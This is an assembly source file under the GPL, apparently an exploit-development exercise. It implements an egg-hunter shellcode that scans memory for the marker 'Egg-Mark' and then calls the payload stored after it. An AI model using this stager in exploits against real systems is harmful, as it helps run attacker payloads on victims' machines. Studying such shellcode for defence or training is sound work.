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41 lines
1.1 KiB
41 lines
1.1 KiB
; This program is free software: you can redistribute it and/or modify
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; it under the terms of the GNU General Public License as published by
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; the Free Software Foundation, either version 3 of the License, or
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; (at your option) any later version.
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;
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; This program is distributed in the hope that it will be useful,
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; but WITHOUT ANY WARRANTY; without even the implied warranty of
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; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
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; GNU General Public License for more details.
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;
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; You should have received a copy of the GNU General Public License
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; along with this program. If not, see <http://www.gnu.org/licenses/>.
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;
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;
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; Filename: hunter.nasm
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; Author: Andrey Arapov <arno@nixaid.com>
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; 2013 March
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;
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;
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section .data
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egg1 equ "Egg-" ; DWORD Egg marker part1
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egg2 equ "Mark" ; DWORD Egg marker part2
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section .text
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global _start
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_start:
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; Searching for the Egg marker
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next:
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inc eax ; Searching forward (can also try dec eax)
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isEgg:
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cmp dword [eax-8], egg1 ; Checking if we can see egg1
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jne next ; If not, continuing to search
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cmp dword [eax-4], egg2
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jne next
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call eax ; Once found, we call our payload
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